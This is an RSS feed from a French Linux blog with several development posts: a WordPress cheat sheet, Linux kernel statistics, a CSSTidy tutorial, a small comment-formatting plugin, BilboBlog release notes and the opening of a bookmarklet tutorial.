<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tux-planet &#187; développement</title>
	<atom:link href="http://www.tux-planet.fr/tag/developpement/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.tux-planet.fr</link>
	<description>Linux et les Logiciels Libres</description>
	<lastBuildDate>Tue, 07 Feb 2012 12:50:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>WordPress Cheat Sheet</title>
		<link>http://www.tux-planet.fr/wordpress-cheat-sheet/</link>
		<comments>http://www.tux-planet.fr/wordpress-cheat-sheet/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 06:00:44 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[Divers]]></category>
		<category><![CDATA[cheat sheet]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[documentation]]></category>
		<category><![CDATA[mementos]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=4002</guid>
		<description><![CDATA[Voici une fiche mémento entièrement dédiée au moteur de blog WordPress. Vous y trouverez un résumé des principales fonctions php utilisables pour ce CMS libre : template tags, includes tags, loop, bloginfo tags... Des informations sur la structure des thèmes sont également affichées. Bref, un pense-bête indispensable quand on souhaite développer un nouveau thème pour [...]<p><br/><hr><a href="http://www.tux-planet.fr/wordpress-cheat-sheet/">WordPress Cheat Sheet</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/wordpress-cheat-sheet.png" alt="Wordpress Cheat Sheet" class="aligncenter" /><br />
Voici une fiche mémento entièrement dédiée au moteur de blog WordPress. Vous y trouverez un résumé des principales fonctions php utilisables pour ce <acronym title="Content Management System">CMS</acronym> libre : template tags, includes tags, loop, bloginfo tags... Des informations sur la structure des thèmes sont également affichées. Bref, un pense-bête indispensable quand on souhaite développer un nouveau thème pour un site à base de WordPress.</p>
<p><span id="more-4002"></span></p>
<p><a href="/public/doc/mementos/wordpress-cheat-sheet.pdf" title="Wordpress Cheat Sheet"><img src="/public/doc/mementos/wordpress-cheat-sheet-mini.jpg" alt="Wordpress Cheat Sheet" /></a></p>
<p style="text-align:center"><a href="/public/doc/mementos/wordpress-cheat-sheet.pdf" title="Wordpress Cheat Sheet">Download</a> (389 Ko) - <a href="http://ekinertac.com/?p=259" rel="nofollow">Source</a></p><p><br/><hr><a href="http://www.tux-planet.fr/wordpress-cheat-sheet/">WordPress Cheat Sheet</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/wordpress-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quelques statistiques sur le développement du noyau Linux</title>
		<link>http://www.tux-planet.fr/quelques-statistiques-sur-le-developpement-du-noyau-linux/</link>
		<comments>http://www.tux-planet.fr/quelques-statistiques-sur-le-developpement-du-noyau-linux/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 19:53:47 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[noyau]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=3974</guid>
		<description><![CDATA[La Linux Fondation vient de publier une étude sur le mode de développement du noyau Linux. L'analyse se concentre essentiellement sur les évolutions du noyau 2.6.11 à 2.6.30 entre les années 2005 et 2009. On y apprend par exemple, qu'en 4 ans, pas moins de 5000 personnes venant de 500 entreprises différentes auraient contribuer au [...]<p><br/><hr><a href="http://www.tux-planet.fr/quelques-statistiques-sur-le-developpement-du-noyau-linux/">Quelques statistiques sur le développement du noyau Linux</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/module-noyau.png" alt="Kernel module" class="aligncenter" /><br />
La Linux Fondation vient de <a href="/public/doc/whowriteslinux.pdf">publier une étude</a> sur le mode de développement du noyau Linux. L'analyse se concentre essentiellement sur les évolutions du noyau 2.6.11 à 2.6.30 entre les années 2005 et 2009. On y apprend par exemple, qu'en 4 ans, pas moins de 5000 personnes venant de 500 entreprises différentes auraient contribuer au développement du noyau.</p>
<p><span id="more-3974"></span></p>
<p><img src="/public/images/photos/informatique/linux/linux-clone.jpg" alt="Clone Linux" class="aligncenter" /></p>
<p>Après lecture du document, voici quelques statistiques que l'on peut retenir :</p>
<ul>
<li>une release stable sort en moyenne tous les 81 jours, soit tous les 3 mois</li>
<li>en 2005, la version 2.6.11 était composée de 3,616 patchs. En 2009, la version 2.6.30 compte pas moins de 11,989 patchs. Cela revient aujourd'hui à une moyenne de 6,4 patches acceptés par heure.</li>
<li>le nombre d'entreprises impliquées dans le développement est passé de 68 à 240. On dénombre ainsi un total de 532 entreprises qui ont participé au projet durant ces 4 années. </li>
<li>Red Hat, IBM et Novell sont les sociétés qui emploient le plus de contributeurs.</li>
<li>le nombre de développeurs est quant à lui passé de 389 à 1150 personnes. </li>
<li>les développeurs les plus actifs, comme <a href="http://en.wikipedia.org/wiki/David_S._Miller" rel="nofollow">David S. Miller</a> ou <a href="http://fr.wikipedia.org/wiki/Ingo_Moln%C3%A1r" rel="nofollow">Ingo Molnár</a> (qui travaillent tous les deux pour Redhat au passage), totalisent plus de 2000 modifications chacun. <a href="http://fr.wikipedia.org/wiki/Linus_Torvalds" rel="nofollow">Linus Torvalds</a> est, quant à lui, loin derrière avec 729 modifications.</li>
<li>en 2005, la version 2.6.11 de linux comptait 17,090 fichiers et 6,624,076 lignes de code. En 2009, avec la version 2.6.30, on est rendu à 27,911 fichiers pour 11,560,971 lignes de code. Cela représente en moyenne par jour 12,993 lignes ajoutées, 4,958 lignes supprimées et 2,830 lignes de code modifiées.</li>
</ul>
<p><img src="/public/images/screenshots/linux/linux-entreprises.jpg" alt="Statistiques Linux" class="aligncenter"/></p>
<p>Le développement du noyau Linux est, sans aucun doute, le projet open source qui a aujourd'hui le plus de succès. Son évolution est quasi exponentielle et on peut même se demander si un jour cela ne lui portera pas préjudice. En effet, trop de contributions pourraient nuire au développement du noyau si ces dernières ne sont pas suffisamment bien encadrées. Mais, avant d'en arriver là, on ne peut que se réjouir de ce succès.</p><p><br/><hr><a href="http://www.tux-planet.fr/quelques-statistiques-sur-le-developpement-du-noyau-linux/">Quelques statistiques sur le développement du noyau Linux</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/quelques-statistiques-sur-le-developpement-du-noyau-linux/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Optimiser et compresser des feuilles de style CSS</title>
		<link>http://www.tux-planet.fr/optimiser-et-compresser-des-feuilles-de-style-css/</link>
		<comments>http://www.tux-planet.fr/optimiser-et-compresser-des-feuilles-de-style-css/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 17:48:15 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[Développement]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[csstidy]]></category>
		<category><![CDATA[développement]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=3923</guid>
		<description><![CDATA[CSSTidy est un optimisateur de feuilles de style CSS. Celui-ci s'utilise en ligne de commande sous Linux et permet de réduire la taille d'une feuille de style CSS selon différents critères, afin de rendre l'affichage d'un site web plus performant. 1. Optimisation Pour installer CSSTidy, ouvrez un terminal en root et lancez la commande suivante [...]<p><br/><hr><a href="http://www.tux-planet.fr/optimiser-et-compresser-des-feuilles-de-style-css/">Optimiser et compresser des feuilles de style CSS</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/css.png" alt="CSS" class="aligncenter" /><br />
CSSTidy est un optimisateur de feuilles de style <acronym title="Cascading Style Sheets">CSS</acronym>. Celui-ci s'utilise en ligne de commande sous Linux et permet de réduire la taille d'une feuille de style <acronym title="Cascading Style Sheets">CSS</acronym> selon différents critères, afin de rendre l'affichage d'un site web plus performant.</p>
<p><span id="more-3923"></span></p>
<h3>1. Optimisation</h3>
<p>Pour installer CSSTidy, ouvrez un terminal en root et lancez la commande suivante pour une distribution à base de rpm :</p>
<blockquote><p>yum install csstidy</p></blockquote>
<p>Ou celle-ci pour une distribution à base de Debian :</p>
<blockquote><p>apt-get install csstidy</p></blockquote>
<p>Vous pourrez ensuite lancer la commande csstidy sans aucun paramètre afin de voir les options proposées. Voici quelques exemples d'optimisation possibles :</p>
<ul>
<li>compress_colors : utilise des codes de couleur hexadécimal, la propriété black devient #000 par exemple</li>
<li>discard_invalid_properties : supprime toutes les lignes invalides. Cette option est assez dangereuse car on n'est jamais à l'abri d'une faute de frappe (widht au lieu de width)</li>
<li>lowercase_s : change tous les sélecteurs en minuscule</li>
<li>preserve_css : supprime tous les commentaires si l'on utilise l'option false</li>
<li>remove_last_; : supprime le dernier ; de chaque section</li>
</ul>
<p>Pour ceux qui ne veulent pas choisir d'options spécifiques, il faut savoir que CSSTidy embarque des templates capables de faire de l'optimisation automatique selon plusieurs niveaux (low, high, highest). Voici un exemple d'utilisation :</p>
<blockquote><p>
csstidy style.css --template=high style.css.out<br />
...<br />
Selectors: 63 | Properties: 198<br />
Input size: 6.24KiB  Output size: 3.728KiB  Compression ratio: 40.27%
</p></blockquote>
<p>Si l'on compare le nombre de lignes entre les deux fichiers :</p>
<blockquote><p>
cat style.css | wc -l<br />
368<br />
cat style.css.out | wc -l<br />
51
</p></blockquote>
<p>La différence avant et après compression est donc souvent très visible. Il faudra tout même revérifier sa feuille de style afin d'être sûr que le programme n'a pas commis d'erreurs ou supprimé des options importantes.</p>
<h3>2. Compression et décompression d'une feuille de style</h3>
<p>Si l'on souhaite ensuite compresser une feuille de style en une seule ligne, on pourra utiliser la commande suivante :</p>
<blockquote><p>cat style.css | tr -d "\n" > compress.css</p></blockquote>
<p>Et celle-ci pour revenir à un format lisible :</p>
<blockquote><p>cat compress.css | awk '{gsub(/{|}|;/,"&#038;\n"); print}' > uncompressed.css</p></blockquote><p><br/><hr><a href="http://www.tux-planet.fr/optimiser-et-compresser-des-feuilles-de-style-css/">Optimiser et compresser des feuilles de style CSS</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/optimiser-et-compresser-des-feuilles-de-style-css/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Plugin WordPress : mettre en forme des commentaires</title>
		<link>http://www.tux-planet.fr/plugin-wordpress-mettre-en-forme-des-commentaires/</link>
		<comments>http://www.tux-planet.fr/plugin-wordpress-mettre-en-forme-des-commentaires/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 21:36:08 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[Développement]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=3815</guid>
		<description><![CDATA[Cet article explique le fonctionnement du plugin BilboCommentFormating pour WordPress, qui est capable de mettre en gras le nom des personnes à qui l'on répond dans les commentaires. Celui-ci a été développé pour les besoins de Tux-planet. Il peut être adapté à volonté grâce à sa licence AGPLv3, afin d'effectuer d'autres actions de mise en [...]<p><br/><hr><a href="http://www.tux-planet.fr/plugin-wordpress-mettre-en-forme-des-commentaires/">Plugin WordPress : mettre en forme des commentaires</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" src="/public/images/icons/wordpress.png" alt="Plugin WordPress" /><br />
Cet article explique le fonctionnement du plugin BilboCommentFormating pour WordPress, qui est capable de mettre en gras le nom des personnes à qui l'on répond dans les commentaires. Celui-ci a été développé pour les besoins de Tux-planet. Il peut être adapté à volonté grâce à sa licence AGPLv3, afin d'effectuer d'autres actions de mise en forme.</p>
<p><span id="more-3815"></span></p>
<p>Pour le faire fonctionner, il suffit de télécharger le fichier <a href="/public/dev/php/BilboCommentFormating.zip">BilboCommentFormating.php</a> et de le placer dans le dossier wp-content/plugins/ de votre installation WordPress.</p>
<p>Voici le code source du plugin :</p>
<pre>
&lt;?php
/*
Plugin Name: BilboCommentFormating
Plugin URI: http://www.tux-planet.fr/bilbobox
Description: Formating Comments
Author: Sebastien Bilbeau
Version: 0.1
Author URI:  http://www.tux-planet.fr
*/

function BilboCommentFormating($content) {
  return preg_replace("#@(.*?) #i", "&lt;strong&gt;@$1&lt;/strong&gt; ", $content);
}

add_filter('comment_text', 'BilboCommentFormating');
?&gt;
</pre>
<p>Quelques explications :</p>
<ul>
<li>La première partie du code en commentaire contient les informations concernant le plugin. Elles seront affichées également dans l'interface d'administration des plugins de Worpdress.</li>
<li>La fonction BilboCommentFormating s'occupe de trouver tous les mots qui commencent par @ et elle rajoute ensuite les balises &lt;strong&gt; autour afin de les mettre en gras.</li>
<li>Enfin, la ligne add_filter permet d'appliquer la fonction  BilboCommentFormating sur le contenu d'un commentaire lorsque celui-ci est posté.</li>
</ul><p><br/><hr><a href="http://www.tux-planet.fr/plugin-wordpress-mettre-en-forme-des-commentaires/">Plugin WordPress : mettre en forme des commentaires</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/plugin-wordpress-mettre-en-forme-des-commentaires/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Fedora 9 évalué à 10,8 milliards de dollars</title>
		<link>http://www.tux-planet.fr/fedora-9-evalue-a-108-milliards-de-dollars/</link>
		<comments>http://www.tux-planet.fr/fedora-9-evalue-a-108-milliards-de-dollars/#comments</comments>
		<pubDate>Thu, 23 Oct 2008 20:00:26 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[Distributions]]></category>
		<category><![CDATA[coût]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[fedora]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=1528</guid>
		<description><![CDATA[La Linux Fondation a récemment publié une étude visant à estimer le coût total du développement d'une distribution Linux. Pour réaliser cette étude, les auteurs ont utilisé le logiciel libre SLOCCount pour analyser les lignes de code source de la distribution Fedora 9. Ensuite, ils ont utilisé le modèle COCOMO (COnstructive COst MOdel) qui fait [...]<p><br/><hr><a href="http://www.tux-planet.fr/fedora-9-evalue-a-108-milliards-de-dollars/">Fedora 9 évalué à 10,8 milliards de dollars</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/money.png" alt="MySQL encodage" class="aligncenter" /><br />
La Linux Fondation a récemment <a href="http://www.linuxfoundation.org/publications/estimatinglinux.php" rel="nofollow">publié une étude</a> visant à estimer le coût total du développement d'une distribution Linux. Pour réaliser cette étude, les auteurs ont utilisé le logiciel libre SLOCCount pour analyser les lignes de code source de la distribution Fedora 9. Ensuite, ils ont utilisé le modèle COCOMO (COnstructive COst MOdel) qui fait la conversion entre les lignes de code et le prix en dollars (sous forme de salaire des développeurs).</p>
<p><span id="more-1528"></span></p>
<p>Le résultat est assez surprenant puisque <strong>Fedora 9 serait ainsi évalué à 10,8 milliards de dollars pour 204,5 millions de lignes de code</strong>. Le noyau 2.6.25 totalise à lui seul 1,37 milliard de dollars pour près de 6,8 millions de lignes de code source.</p>
<p>Cela devient intéressant lorsque l'on compare ces résultats avec la même étude menée en 2002 sur une Red Hat Linux 7.1. A l'époque, la distribution avait été estimée à 1,2 milliard de dollars pour 30 millions de lignes de code. On note donc un forte progression du coût de développement, mais également une grosse augmentation du volume de code.</p>
<p>Certes, la méthode utilisée est discutable et n'est peut-être pas la meilleure. Tout d'abord parce qu'elle ne prend en compte que les rpm officiels de la distribution. Ensuite, elle ne comptabilise que l'ajout brut de code, oubliant au passage toutes les modifications ou suppressions de lignes. Le travail de développement de la communauté est donc un peu sous estimé.</p>
<p>L'étude reste donc très critiquable, mais elle a au moins le mérite de nous donner un ordre de grandeur sur le coût réel du développement d'une distribution linux.</p><p><br/><hr><a href="http://www.tux-planet.fr/fedora-9-evalue-a-108-milliards-de-dollars/">Fedora 9 évalué à 10,8 milliards de dollars</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/fedora-9-evalue-a-108-milliards-de-dollars/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>BilboBlog version 0.2.1</title>
		<link>http://www.tux-planet.fr/bilboblog-version-02/</link>
		<comments>http://www.tux-planet.fr/bilboblog-version-02/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 10:46:42 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[Logiciels Libres]]></category>
		<category><![CDATA[bilboblog]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[libre]]></category>
		<category><![CDATA[microblog]]></category>
		<category><![CDATA[mini-blog]]></category>

		<guid isPermaLink="false">http://127.0.0.1/wordpress/?p=428</guid>
		<description><![CDATA[<p><img src="/blog/images/icons/nervous-duck.png" alt="Nervous Duck" class="img-center" /><br/> Une nouvelle version de BilboBlog, l'application php de micro-blogging libre, vient de sortir. Cet article résume les différentes nouveautés qui ont été incorporées.</p><p><br/><hr><a href="http://www.tux-planet.fr/bilboblog-version-02/">BilboBlog version 0.2.1</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/micro-blog.png" alt="Nervous Duck" class="aligncenter" /><br />
Une nouvelle version de BilboBlog, l'application php de micro-blogging libre qui me sert notamment pour le mini-blog, vient de sortir. Cet article résume les différentes nouveautés qui ont été incorporées.</p>
<p><span id="more-428"></span></p>
<h3>1. L'installation</h3>
<p>Dans ses premières versions, l'installation de BilboBlog a été beaucoup critiquée et certaines personnes n'ont d'ailleurs jamais pu l'installer. Ces erreurs de jeunesse ont été corrigées et BilboBlog propose maintenant un système d'installation un peu plus intelligent.</p>
<p>Si vous lancez l'application pour la première fois, vous serez automatiquement redirigé vers un formulaire qui vous demandera quelques informations importantes (votre email pour afficher votre gravatar, le mot de passe pour accéder à l'interface d'administration ...)</p>
<p><a href="/public/images/screenshots/software/bilboblog/bilboblog-installation.jpeg" class="lightview" rel="gallery['428']" title="Bilboblog - Installation" hreflang="fr" ><img src="/public/images/screenshots/software/bilboblog/bilboblog-installation-mini.jpeg" alt="Bilboblog - Installation" class="aligncenter" /></a></p>
<p>Une fois les informations saisies, l'installation se déroulera de façon automatique et vous deviez pouvoir profiter de  votre micro-blog sans soucis particulier.</p>
<p>A noter également que la version 0.1.x de BilboBlog ne fonctionnait pas chez l'hébergeur Français Free. Le code a donc été légèrement modifié et c'est maintenant possible de l'installer sur cette plateforme. On devra tout de même suivre les indications supplémentaires contenues dans le fichier <strong>INSTALL</strong> pour y arriver.</p>
<h3>2. L'utilisation</h3>
<p>La caractéristique principale du micro-blogging est que l'on doit pouvoir publier très rapidement un message, une photo ou encore une vidéo. Cette nouvelle version devrait continuer à répondre à ces exigences et ceci grâce à plusieurs nouveautés.</p>
<p>Tout d'abord, Bilboblog supporte maintenant la syntaxe bbCode, syntaxe que l'on retrouve régulièrement dans les forums et autres outils de communication. Une barre d'outils a été ajoutée afin de simplifier son utilisation et vous pourrez par exemple mettre en forme du texte facilement.</p>
<p><a href="/public/images/screenshots/software/bilboblog/bilboblog-admin.jpeg" class="lightview" rel="gallery['428']" title="Bilboblog - Ajout d'un nouveau message" hreflang="fr" ><img src="/public/images/screenshots/software/bilboblog/bilboblog-admin-mini.jpeg" alt="Bilboblog - Ajout d'un nouveau message" class="aligncenter" /></a></p>
<p>Mais la plus grande innovation de cette nouvelle version est sans aucun doute son aspect multimédia. En effet, il est désormais possible de diffuser des images ou des vidéos (youtube, dailymotion ...) de façon simple et rapide.</p>
<div class="aligncenter-double">
<a href="/public/images/screenshots/software/bilboblog/bilboblog-exemple1.jpg" class="lightview" rel="gallery['428']" title="Bilboblog - Ajout d'un nouveau message" hreflang="fr" ><img src="/public/images/screenshots/software/bilboblog/bilboblog-exemple1-mini.jpg" alt="Exemple de site utilisant Bilboblog"/></a> &nbsp; <a href="/public/images/screenshots/software/bilboblog/bilboblog-exemple2.jpg" class="lightview" rel="gallery['428']" title="Bilboblog - Ajout d'un nouveau message" hreflang="fr" ><img src="/public/images/screenshots/software/bilboblog/bilboblog-exemple2-mini.jpg" alt="Exemple de site utilisant Bilboblog" /></a>
</div>
<p>Enfin, pour les plus expérimentés, il existe désormais un bookmarklet, qui une fois ajouté à la barre de votre navigateur Internet, vous permettra de publier instantanément vos messages. Vous pourrez trouver davantage d'informations sur cette fonctionnalité en <a href="/creer-un-bookmarklet-pour-une-application-web/">cliquant ici</a>.</p>
<h3>3. Les autres nouveautés en vrac</h3>
<ul>
<li>ajout d'une page d'aide</li>
<li>ajout de divers effets ajax (zone de publication de billets, redimensionnement des images)</li>
<li>possibilité de purger le cache depuis l'interface d'administration</li>
<li>support des plugins</li>
<li>ajout d'un permalink pour chaque publication</li>
<li>possibilité d'ouvrir les publications aux visiteurs</li>
<li>support de plusieurs langues (anglais et français)</li>
</ul><p><br/><hr><a href="http://www.tux-planet.fr/bilboblog-version-02/">BilboBlog version 0.2.1</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/bilboblog-version-02/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>BilboBlog version 0.2.1 - English translation</title>
		<link>http://www.tux-planet.fr/bilboblog-version-021-english-translation/</link>
		<comments>http://www.tux-planet.fr/bilboblog-version-021-english-translation/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 10:44:27 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[Logiciels Libres]]></category>
		<category><![CDATA[bilboblog]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[libre]]></category>
		<category><![CDATA[microblog]]></category>
		<category><![CDATA[mini-blog]]></category>

		<guid isPermaLink="false">http://www.tux-planet.fr/?p=449</guid>
		<description><![CDATA[A new version of BilboBlog, the free Php micro-bloging application used for my mini-blog, has just been released. This article summarises the new features. 1. Installation In its first versions, the BilboBlog installation procedure was criticized and some people could not manage to install it either. These bugs have been fixed and BilboBlog offers now [...]<p><br/><hr><a href="http://www.tux-planet.fr/bilboblog-version-021-english-translation/">BilboBlog version 0.2.1 - English translation</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/micro-blog-red.png" alt="micro-blog" class="aligncenter" /><br />
A new version of BilboBlog, the free Php micro-bloging application used for my mini-blog, has just been released. This article summarises the new features.</p>
<p><span id="more-449"></span></p>
<h3>1. Installation</h3>
<p>In its first versions, the BilboBlog installation procedure was criticized and some people could not manage to install it either. These bugs have been fixed and BilboBlog offers now a new handy installation procedure.</p>
<p>If you run the application for the first time, you will be automatically forwarded to a form asking you important details (your email address to display your avatar, the administration interface password...)</p>
<p><a href="/public/images/screenshots/software/bilboblog/bilboblog-installation.jpeg" class="lightview" rel="gallery['449']" title="Bilboblog - Installation" hreflang="fr" ><img src="/public/images/screenshots/software/bilboblog/bilboblog-installation-mini.jpeg" alt="Bilboblog - Installation" class="aligncenter" /></a></p>
<p>Once the informations are entered, the installation process will progress automatically and you should take advantage of your micro-blog without any problem.</p>
<p>Note that the version 0.1.x of BilboBlog did not run at the french Internet service provider "Free". The source code was slightly modified and it is now possible to install it at this provider. You will have to follow the additional instructions in the <strong>INSTALL</strong> file anyway.</p>
<h3>2. Use</h3>
<p>The main feature of micro-bloging is to allow to publish quickly a message, a picture or a video. This new version should continue to meet this requirement thanks to many new features.</p>
<p>First, Bilboblog now supports the bbCode syntax, often used in forums and other communication tools. A toolbar will help you to use it so that you can format text for example. </p>
<p><a href="/public/images/screenshots/software/bilboblog/bilboblog-admin.jpeg" class="lightview" rel="gallery['449']" title="Bilboblog - Adding a new message" hreflang="fr" ><img src="/public/images/screenshots/software/bilboblog/bilboblog-admin-mini.jpeg" alt="Bilboblog - Adding a new message" class="aligncenter" /></a></p>
<p>But the biggest innovation of this new version is certainly its multimedia feature. It is now possible to spread pictures or video (youtube, dailymotion ...) easily and quickly.</p>
<div class="aligncenter-double">
<a href="/public/images/screenshots/software/bilboblog/bilboblog-exemple1.jpg" class="lightview" rel="gallery['449']" title="Bilboblog - Adding a new message" hreflang="fr" ><img src="/public/images/screenshots/software/bilboblog/bilboblog-exemple1-mini.jpg" alt="Site using Bilboblog"/></a> &nbsp; <a href="/public/images/screenshots/software/bilboblog/bilboblog-exemple2.jpg" class="lightview" rel="gallery['449']" title="Bilboblog - Adding a new message" hreflang="fr" ><img src="/public/images/screenshots/software/bilboblog/bilboblog-exemple2-mini.jpg" alt="Site using Bilboblog" /></a>
</div>
<p>Finally, for the most advanced users, there is now a bookmarlet, which when added to the Web browser toolbar, will give you the possibility to publish messages instantly. You will find further details about this <a href="/creer-un-bookmarklet-pour-une-application-web/">feature here</a>.</p>
<h3>3. The other new features in few words</h3>
<ul>
<li>adding a help page</li>
<li>adding ajax effects (ticket publication area, picture resizing)</li>
<li>cache cleaning from the administration interface</li>
<li>plugins support</li>
<li>adding a permalink for each publication</li>
<li>visitors can now open publications</li>
<li>language support (english and french)</li>
</ul><p><br/><hr><a href="http://www.tux-planet.fr/bilboblog-version-021-english-translation/">BilboBlog version 0.2.1 - English translation</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tux-planet.fr/bilboblog-version-021-english-translation/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Créer un bookmarklet pour une application web</title>
		<link>http://www.tux-planet.fr/creer-un-bookmarklet-pour-une-application-web/</link>
		<comments>http://www.tux-planet.fr/creer-un-bookmarklet-pour-une-application-web/#comments</comments>
		<pubDate>Tue, 08 Apr 2008 13:04:55 +0000</pubDate>
		<dc:creator>pti-seb</dc:creator>
				<category><![CDATA[Développement]]></category>
		<category><![CDATA[bilboblog]]></category>
		<category><![CDATA[bookmarklet]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[microblog]]></category>
		<category><![CDATA[mini-blog]]></category>

		<guid isPermaLink="false">http://127.0.0.1/wordpress/2008/04/08/creer-un-bookmarklet-pour-une-application-web/</guid>
		<description><![CDATA[<p><img src="/blog/images/icons/bookmarklet.png" alt="Bookmarklet" class="img-center" /><br/> Cet article explique comment r&#233;aliser facilement un bookmarklet pour une application web.</p><p><br/><hr><a href="http://www.tux-planet.fr/creer-un-bookmarklet-pour-une-application-web/">Créer un bookmarklet pour une application web</a> est un article original provenant de <a href="http://www.tux-planet.fr">Tux-planet</a> - &copy;Copyright - 2005 Toutes reproductions interdites.</p>
]]></description>
			<content:encoded><![CDATA[<p><img src="/public/images/icons/bookmarklet.png" alt="Bookmarklet" class="aligncenter" /><br />
Cet article explique comment r&eacute;aliser facilement un bookmarklet pour une application web. Un bookmarklet est simplement un petit programme qui ex&eacute;cute du javascript. On le retrouve g&eacute;n&eacute;ralement sous deux formes possibles ...</p>
<p><span id="more-337"></span></p>
<ul>
<li>en tant qu'<acronym title="Uniform Resource Locator">URL</acronym> dans un signet avec la plupart des navigateurs web</li>
<li>en tant que lien dans une page web</li>
</ul>
<p>Pour mieux comprendre, voici un exemple de bookmarklet assez simple : </p>
<blockquote><p>
&lt;a href="javascript:alert('Bienvenue sur '+window.location.hostname);"&gt;le bookmarklet&lt;/a&gt;
</p></blockquote>
